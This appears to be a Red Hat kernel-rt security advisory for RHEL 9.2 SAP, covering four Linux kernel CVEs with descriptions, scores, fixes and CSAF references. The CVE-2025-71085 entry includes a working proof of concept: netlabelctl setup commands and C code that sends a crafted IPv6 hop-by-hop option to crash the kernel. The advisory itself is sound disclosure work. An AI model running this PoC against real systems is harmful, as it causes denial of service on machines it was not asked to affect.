RHSA-2026:5690
Vulnerability from csaf_redhat - Published: 2026-03-25 00:24 - Updated: 2026-03-30 23:24Summary
Red Hat Security Advisory: kernel-rt security update
Severity
Moderate
Notes
Topic: An update for kernel-rt is now available for Red Hat Enterprise Linux 9.2 Update Services for SAP Solutions.
Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.
Details: The kernel-rt packages provide the Real Time Linux Kernel, which enables fine-tuning for systems with extremely high determinism requirements.
Security Fix(es):
* kernel: page_pool: Fix use-after-free in page_pool_recycle_in_ring (CVE-2025-38129)
* kernel: Linux kernel: Use-after-free in BPF sockmap can lead to denial of service and privilege escalation (CVE-2025-38154)
* kernel: sctp: avoid NULL dereference when chunk data buffer is missing (CVE-2025-40240)
* kernel: ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr() (CVE-2025-71085)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
Terms of Use: This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.
A flaw was found in the Linux kernel. This vulnerability, known as a use-after-free (UAF), occurs in the `page_pool_recycle_in_ring` function. A local attacker could exploit this by manipulating the system's memory management, causing a freed memory region to be improperly accessed. This can lead to system instability, unauthorized access to sensitive information, or potentially allow an attacker to execute malicious code.
7.3 (High)
Vendor Fix
For details on how to apply this update, which includes the changes described in this advisory, refer to:
https://access.redhat.com/articles/11258
The system must be rebooted for this update to take effect.
https://access.redhat.com/errata/RHSA-2026:5690
A flaw was found in the Linux kernel's BPF (Berkeley Packet Filter) sockmap subsystem. A race condition exists where the `sk_socket` is not properly locked or referenced during the `skb_send_sock()` function call, allowing for a use-after-free vulnerability. This can be exploited by a local attacker, leading to a system crash (Denial of Service) and potentially enabling information disclosure or privilege escalation.
7.0 (High)
Vendor Fix
For details on how to apply this update, which includes the changes described in this advisory, refer to:
https://access.redhat.com/articles/11258
The system must be rebooted for this update to take effect.
https://access.redhat.com/errata/RHSA-2026:5690
In the Linux kernel, the following vulnerability has been resolved: sctp: avoid NULL dereference when chunk data buffer is missing chunk->skb pointer is dereferenced in the if-block where it's supposed to be NULL only. chunk->skb can only be NULL if chunk->head_skb is not. Check for frag_list instead and do it just before replacing chunk->skb. We're sure that otherwise chunk->skb is non-NULL because of outer if() condition.
7.5 (High)
Vendor Fix
For details on how to apply this update, which includes the changes described in this advisory, refer to:
https://access.redhat.com/articles/11258
The system must be rebooted for this update to take effect.
https://access.redhat.com/errata/RHSA-2026:5690
Workaround
To mitigate this issue, prevent module sctp from being loaded. Please see https://access.redhat.com/solutions/41278 for how to blacklist a kernel module to prevent it from loading automatically.
In the Linux kernel, the following vulnerability has been resolved: ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr() There exists a kernel oops caused by a BUG_ON(nhead < 0) at net/core/skbuff.c:2232 in pskb_expand_head(). This bug is triggered as part of the calipso_skbuff_setattr() routine when skb_cow() is passed headroom > INT_MAX (i.e. (int)(skb_headroom(skb) + len_delta) < 0). The root cause of the bug is due to an implicit integer cast in __skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure that delta = headroom - skb_headroom(skb) is never negative, otherwise we will trigger a BUG_ON in pskb_expand_head(). However, if headroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta becomes negative, and pskb_expand_head() is passed a negative value for nhead. Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing "negative" headroom sizes to skb_cow() within calipso_skbuff_setattr() by only using skb_cow() to grow headroom. PoC: Using `netlabelctl` tool: netlabelctl map del default netlabelctl calipso add pass doi:7 netlabelctl map add default address:0::1/128 protocol:calipso,7 Then run the following PoC: int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP); // setup msghdr int cmsg_size = 2; int cmsg_len = 0x60; struct msghdr msg; struct sockaddr_in6 dest_addr; struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1, sizeof(struct cmsghdr) + cmsg_len); msg.msg_name = &dest_addr; msg.msg_namelen = sizeof(dest_addr); msg.msg_iov = NULL; msg.msg_iovlen = 0; msg.msg_control = cmsg; msg.msg_controllen = cmsg_len; msg.msg_flags = 0; // setup sockaddr dest_addr.sin6_family = AF_INET6; dest_addr.sin6_port = htons(31337); dest_addr.sin6_flowinfo = htonl(31337); dest_addr.sin6_addr = in6addr_loopback; dest_addr.sin6_scope_id = 31337; // setup cmsghdr cmsg->cmsg_len = cmsg_len; cmsg->cmsg_level = IPPROTO_IPV6; cmsg->cmsg_type = IPV6_HOPOPTS; char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr); hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80 sendmsg(fd, &msg, 0);
7.5 (High)
Vendor Fix
For details on how to apply this update, which includes the changes described in this advisory, refer to:
https://access.redhat.com/articles/11258
The system must be rebooted for this update to take effect.
https://access.redhat.com/errata/RHSA-2026:5690
Workaround
Mitigation for this issue is either not available or the currently available options don't meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.
References
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"text": "A flaw was found in the Linux kernel. This vulnerability, known as a use-after-free (UAF), occurs in the `page_pool_recycle_in_ring` function. A local attacker could exploit this by manipulating the system\u0027s memory management, causing a freed memory region to be improperly accessed. This can lead to system instability, unauthorized access to sensitive information, or potentially allow an attacker to execute malicious code.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "kernel: Linux kernel: Use-after-free vulnerability in page_pool_recycle_in_ring can lead to arbitrary code execution",
"title": "Vulnerability summary"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
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"category": "self",
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},
{
"category": "external",
"summary": "RHBZ#2376034",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2376034"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2025-38129",
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},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2025-38129",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-38129"
},
{
"category": "external",
"summary": "https://lore.kernel.org/linux-cve-announce/2025070330-CVE-2025-38129-3c0e@gregkh/T",
"url": "https://lore.kernel.org/linux-cve-announce/2025070330-CVE-2025-38129-3c0e@gregkh/T"
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{
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{
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"text": "A flaw was found in the Linux kernel\u0027s BPF (Berkeley Packet Filter) sockmap subsystem. A race condition exists where the `sk_socket` is not properly locked or referenced during the `skb_send_sock()` function call, allowing for a use-after-free vulnerability. This can be exploited by a local attacker, leading to a system crash (Denial of Service) and potentially enabling information disclosure or privilege escalation.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "kernel: Linux kernel: Use-after-free in BPF sockmap can lead to denial of service and privilege escalation",
"title": "Vulnerability summary"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
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{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2025-38154"
},
{
"category": "external",
"summary": "RHBZ#2376056",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2376056"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2025-38154",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-38154"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2025-38154",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-38154"
},
{
"category": "external",
"summary": "https://lore.kernel.org/linux-cve-announce/2025070337-CVE-2025-38154-8353@gregkh/T",
"url": "https://lore.kernel.org/linux-cve-announce/2025070337-CVE-2025-38154-8353@gregkh/T"
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{
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"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nsctp: avoid NULL dereference when chunk data buffer is missing\n\nchunk-\u003eskb pointer is dereferenced in the if-block where it\u0027s supposed\nto be NULL only.\n\nchunk-\u003eskb can only be NULL if chunk-\u003ehead_skb is not. Check for frag_list\ninstead and do it just before replacing chunk-\u003eskb. We\u0027re sure that\notherwise chunk-\u003eskb is non-NULL because of outer if() condition.",
"title": "Vulnerability description"
},
{
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"text": "kernel: sctp: avoid NULL dereference when chunk data buffer is missing",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "A missing data buffer (frag_list) in SCTP chunk processing could trigger a NULL pointer dereference when handling GSO packets.\nA remote attacker sending a malformed SCTP packet could cause a kernel crash (DoS).\nThe system is vulnerable only if CONFIG_IP_SCTP enabled in Kernel configuration (and for the Red Hat Enterprise Linux it is always disabled in older versions and enabled as module in latest versions only). However even if module exists in Red Hat Enterprise Linux, still admin need to specially enable it usage (make some SCTP listening port available) before exploitation would be possible.",
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},
{
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"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
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{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2025-40240"
},
{
"category": "external",
"summary": "RHBZ#2418832",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2418832"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2025-40240",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-40240"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2025-40240",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-40240"
},
{
"category": "external",
"summary": "https://lore.kernel.org/linux-cve-announce/2025120403-CVE-2025-40240-745a@gregkh/T",
"url": "https://lore.kernel.org/linux-cve-announce/2025120403-CVE-2025-40240-745a@gregkh/T"
}
],
"release_date": "2025-12-04T00:00:00+00:00",
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{
"category": "vendor_fix",
"date": "2026-03-25T00:24:00+00:00",
"details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\n\nhttps://access.redhat.com/articles/11258\n\nThe system must be rebooted for this update to take effect.",
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"title": "kernel: sctp: avoid NULL dereference when chunk data buffer is missing"
},
{
"cve": "CVE-2025-71085",
"cwe": {
"id": "CWE-190",
"name": "Integer Overflow or Wraparound"
},
"discovery_date": "2026-01-13T00:00:00+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2429026"
}
],
"notes": [
{
"category": "description",
"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()\n\nThere exists a kernel oops caused by a BUG_ON(nhead \u003c 0) at\nnet/core/skbuff.c:2232 in pskb_expand_head().\nThis bug is triggered as part of the calipso_skbuff_setattr()\nroutine when skb_cow() is passed headroom \u003e INT_MAX\n(i.e. (int)(skb_headroom(skb) + len_delta) \u003c 0).\n\nThe root cause of the bug is due to an implicit integer cast in\n__skb_cow(). The check (headroom \u003e skb_headroom(skb)) is meant to ensure\nthat delta = headroom - skb_headroom(skb) is never negative, otherwise\nwe will trigger a BUG_ON in pskb_expand_head(). However, if\nheadroom \u003e INT_MAX and delta \u003c= -NET_SKB_PAD, the check passes, delta\nbecomes negative, and pskb_expand_head() is passed a negative value for\nnhead.\n\nFix the trigger condition in calipso_skbuff_setattr(). Avoid passing\n\"negative\" headroom sizes to skb_cow() within calipso_skbuff_setattr()\nby only using skb_cow() to grow headroom.\n\nPoC:\n\tUsing `netlabelctl` tool:\n\n netlabelctl map del default\n netlabelctl calipso add pass doi:7\n netlabelctl map add default address:0::1/128 protocol:calipso,7\n\n Then run the following PoC:\n\n int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);\n\n // setup msghdr\n int cmsg_size = 2;\n int cmsg_len = 0x60;\n struct msghdr msg;\n struct sockaddr_in6 dest_addr;\n struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,\n sizeof(struct cmsghdr) + cmsg_len);\n msg.msg_name = \u0026dest_addr;\n msg.msg_namelen = sizeof(dest_addr);\n msg.msg_iov = NULL;\n msg.msg_iovlen = 0;\n msg.msg_control = cmsg;\n msg.msg_controllen = cmsg_len;\n msg.msg_flags = 0;\n\n // setup sockaddr\n dest_addr.sin6_family = AF_INET6;\n dest_addr.sin6_port = htons(31337);\n dest_addr.sin6_flowinfo = htonl(31337);\n dest_addr.sin6_addr = in6addr_loopback;\n dest_addr.sin6_scope_id = 31337;\n\n // setup cmsghdr\n cmsg-\u003ecmsg_len = cmsg_len;\n cmsg-\u003ecmsg_level = IPPROTO_IPV6;\n cmsg-\u003ecmsg_type = IPV6_HOPOPTS;\n char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);\n hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80\n\n sendmsg(fd, \u0026msg, 0);",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "kernel: ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This vulnerability allows an unprivileged user to trigger a kernel BUG by causing an integer overflow in the headroom calculation used by skb_cow(), which results in a negative size passed to pskb_expand_head(). The kernel subsequently hits a reachable BUG_ON() and crashes, leading to a reliable denial-of-service condition. In worst-case scenarios, this path may be reachable via crafted IPv6 traffic with CALIPSO options.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
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{
"category": "self",
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"url": "https://access.redhat.com/security/cve/CVE-2025-71085"
},
{
"category": "external",
"summary": "RHBZ#2429026",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2429026"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2025-71085",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-71085"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2025-71085",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-71085"
},
{
"category": "external",
"summary": "https://lore.kernel.org/linux-cve-announce/2026011340-CVE-2025-71085-e6c1@gregkh/T",
"url": "https://lore.kernel.org/linux-cve-announce/2026011340-CVE-2025-71085-e6c1@gregkh/T"
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]
}
],
"threats": [
{
"category": "impact",
"details": "Moderate"
}
],
"title": "kernel: ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()"
}
]
}
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Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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